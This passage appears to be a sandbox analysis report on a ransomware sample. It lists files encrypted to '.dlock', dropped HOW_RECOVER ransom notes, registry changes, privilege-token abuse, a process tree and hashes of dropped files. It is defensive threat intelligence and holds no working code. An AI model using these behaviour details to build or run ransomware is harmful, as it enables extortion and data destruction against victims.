DC\Reader\WebResources\Resource0\static\images\s_selectlist_checkmark_18.svg.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Violet II.xml.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherVL_MAK-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHPHN.DAT.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag-dark.png.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\back-arrow-down.svg.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_OEM_Perp-ul-phn.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.boot.tree.dat.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\back-arrow-focus.svg.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\javafx.properties.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Subscription-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription2-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial3-pl.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdO365R_SubTest-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Mozilla Firefox\updater.ini.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\jpeg_fx.md.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe - Modifies registry class 26 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.dlock\DefaultIcon c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.dlock\DefaultIcon\ = "C:\\ProgramData\\DF1635.ico" c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeRestorePrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeTakeOwnershipPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeAuditPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeSecurityPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe Token: SeBackupPrivilege 3928 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1404 ShellHost.exe 5152 StartMenuExperienceHost.exe 2928 SearchHost.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe"C:\Users\Admin\AppData\Local\Temp\c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe"1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MGCYYUUU.cmd" "2⤵PID:2552
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C:\Windows\SysWOW64\chcp.comchcp 650013⤵PID:1736
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:1404
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5152
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2928
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\RECOVERY_CHAT.DF1635.html
- Size 29KB
- SHA256 7db538fde3a25e6a7ce5e4ffde4033d823bf57fc20bcbf17aace37af808ea6db
- MD5 5114687bc5b96c9b8fda97cd739ed7b0
- SHA1 9ee707a77d6022f44eca1f1ee7168263e0b6cbb6
- SHA512 70b6ba05510d16a4dd9e3a94e97b612a3573710fd4e4e8c6d63421154141bea7e584b8f3b9c3a9cf109b171010f3d35c5385b6b489c360d33530db5e53e39608
- SSDEEP 768:mwZLnTL8D7cL0TC0mHTnt+Z7CjmZLCoZSRruejDR:PLnTL80L020mHTnt+Z7CjmZ+ruiDR
- TLSH T14FD2F78134A50875521AE0FD244B22C2B070E920941F1EB2FC79F3D2EEB9EE585FBB55
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size 5KB
- SHA256 9f8a03d0c3b66fe6ed1936adebad3c7ae09d973e0843a974764b6fe6decdeac1
- MD5 1b59880bed8cd78511174e88b31251e4
- SHA1 7e750edefb2efb9279678d3df9ac116107191745
- SHA512 254e55e28fe9165ad72478eca50d7145be4b8ca5f2edf26f49d89040ed150ba3b36e61fbd73d58fbbb5317da70a0b941fd4e9dbb894924a7afa18a3f98b2c85e
- SSDEEP 96:J6841P8Cw7roBiR1fJjQhCC4/bOaZbxP6PDxOlvTVHzKh0DPD:Jc1UCw7cBgNQhCLbOggPDovpH++jD
- TLSH T181B17D1283917B8ED39077526E7B562EC971EFC9957414BB00152B201CAD3A8BABC99C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
- Size 610B
- SHA256 232581eeebbd9bc4ed339811517c39705ae359b366b910192c5ff4f89d0dc083
- MD5 4aabe53e8d8141b19045acdfed838b38
- SHA1 7bf1f798a87cd9e6bdbdf6f083d0046bf96ac752
- SHA512 91cda5fb82bd244b41dcaa8e1e1e41878afe7e0fbaad4dc46b88029039e134b6cd344bbca7346621d992d79ae9957ec7868726b97f648986228c0a1f51daa203
- TLSH T1AEF04739F27ACA052B155B7864B13259CFCB7171E91AF6CE41467D902438CEF4733148
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size 478B
- SHA256 2cb7bd4885788f1fc791758cec15d46c924bad16a7196fad1fcdc4d79242ff13
- MD5 5236fd72f45b8e93ca1300c5a70245f1
- SHA1 ae7cb7230ba7d28b3cf5faa8020948f9820c629e
- SHA512 696564820362025dac262411baf8b3b27e99d807abef0a50f532e90cd38fe7227fa8d055df3d7e541ccda01b5ec870e0d7061cd28dbe3fdaa9e41f4545268975
- TLSH T10EF00EA088A1198004A6382A91618EE09FA0ACB3711E14837A089848A00ED8BA1093BE
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
- Size 551B
- SHA256 b7b059652bef469d3008187ade0167908758f7b81332bf147da1df32ec3fdf53
- MD5 f90949efcda1db8489f3808c7839b5c2
- SHA1 a185b5231f68418054f1cc45ba9dc953ad24e332
- SHA512 651f8eebf682a9d3263df4d713cac8e62b30340c6e22dae2dde0da94981b78e0b4cdd5ef02c259f8b687d6d7df7a2112883064be87ad200ba53007d3b4556032
- TLSH T1E1F020DCF028FCF1EA51E1E6022D30D89EC6F890C745A6C57C9889E9DD28811580C0EC
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 726B
- SHA256 9290e5bc399e8517360c8ba65cf681e43f8717dafe7184bdb4034af357a61411
- MD5 78acf151c2dd9b67aa65034624d8d42a
- SHA1 70db010b27445758285233727e25a0b0ec633fd3
- SHA512 7a285a26ebbfb817542d424b6afd18618102cc3eadc958963178f51f92e58b07e71b9b7347e0f2fbe099f8da30673078014be214f3d75efc36c5855495952cce
- TLSH T1410165718E840B166ED4642D01351465C98C1F4844D75BF83CB6A52A6DFEE34D16B398
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 599B
- SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
- MD5 658ab8c32d4cc5deb36ac5f63da4658b
- SHA1 30c12cd871ff0c2c4098d794e9ae4f2540586813
- SHA512 a73030c008ef3c2e274f11c90bfe79fa8ae402f76801c710bed8cc1ab1218a84858ea566b772be4bade8ef639a019c57d297028df15b64b3753482cf0f3c8f85
- TLSH T12AF05C83EB6A1B72C456123DC8EE56E47B31D1846EC11367A2107B1D3C2B7192D174BD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\Q2GFDE70\microsoftwindows.client[1].xml
- Size 231B
- SHA256 42f4e4ecdbabae808cfe424af94faa95091d4466424f4fdcca04551c2bbbf7d8
- MD5 60e92d42acc61c6c362e96fbd13d3bea
- SHA1 cd8027b3381c4aeb0c4332db211bafb9700c452e
- SHA512 dbc0bd0675a0771d733e28453a921aaa31ffbf6fec467b18ca48963d6437e72ce3fcee76cbfb8e69e706652120bbd68ae1418445e298bf0485052cd1db5979b3
- TLSH T1E8D097D880251A2840E727660113983D082D94863E7D2A84BA1688485080EFEC0B03D8
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MGCYYUUU.cmd
- Size 298B
- SHA256 b06d9204d23c9c96cc1fcdd3e6fd42fa0f7b501ca0ca439d1102b0e41ef14212
- MD5 34889d475631a4b457871b865ff78468
- SHA1 2292007248f79e758c5fbba6c4565f9d19ea0977
- SHA512 01784ee7da61d3916c400cfc76942e323401004d27bea92db019864603b8949ae19ea7243c3dd6a758772dcd493a8ca49f8af7762ec16ef76128f02cd4bf47ec
- TLSH T15AE0CD0786C29A4F54DC7D3E9557A5C87177049E25EA6FA5B8D490444146018C7AB211
- MD5 SHA1 SHA512 TLSH
- Path \Device\HarddiskVolume3\HOW_RECOVER.DF1635.txt
- Size 1KB
